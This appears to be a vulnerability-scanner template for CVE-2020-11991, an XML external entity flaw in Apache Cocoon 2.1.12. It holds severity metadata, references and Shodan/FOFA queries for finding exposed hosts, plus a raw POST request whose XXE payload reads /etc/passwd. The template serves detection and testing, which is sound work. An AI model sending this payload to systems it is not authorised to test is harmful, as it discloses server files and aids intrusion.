Apache Cocoon 2.1.12 - XML Injection

id: CVE-2020-11991

info:
  name: Apache Cocoon 2.1.12 - XML Injection
  author: pikpikcu,diedromeo
  severity: high
  description: |
    Apache Cocoon 2.1.12 contains an XML injection caused by parsing user-provided XML with external system entities in StreamGenerator, letting attackers access arbitrary files on the server, exploit requires sending malicious XML.
  impact: |
    Attackers can access arbitrary files on the server, leading to information disclosure and potential server compromise.
  remediation: |
    Update to the latest version of Apache Cocoon or apply security patches that disable external entity processing.
  reference:
    - https://lists.apache.org/thread/6xg5j4knfczwdhggo3t95owqzol37k1b
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11991
    - https://lists.apache.org/thread.html/r77add973ea521185e1a90aca00ba9dae7caa8d8b944d92421702bb54%40%3Cusers.cocoon.apache.org%3E
    - https://github.com/apache/cocoon/blob/BRANCH_2_1_X/src/webapp/samples/stream/sitemap.xmap
    - https://github.com/apache/cocoon/blob/BRANCH_2_1_X/src/java/org/apache/cocoon/generation/StreamGenerator.java
    - https://github.com/apache/cocoon/commit/8115f6ce315e306807b224f081fe06a27592c446
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-11991
    cwe-id: CWE-611
    epss-score: 0.72456
    epss-percentile: 0.99424
    cpe: cpe:2.3:a:apache:cocoon:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: cocoon
    shodan-query:
      - http.html:"Apache Cocoon"
      - http.html:"apache cocoon"
    fofa-query: body="apache cocoon"
  tags: cve,cve2020,apache,xml,cocoon,xxe,vkev,vuln

http:
  - raw:
      - |
        POST /samples/process-order HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version="1.0"?>
        <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
        <userInfo>
        <firstName>John</firstName>
        <lastName>&ent;</lastName>
        </userInfo>

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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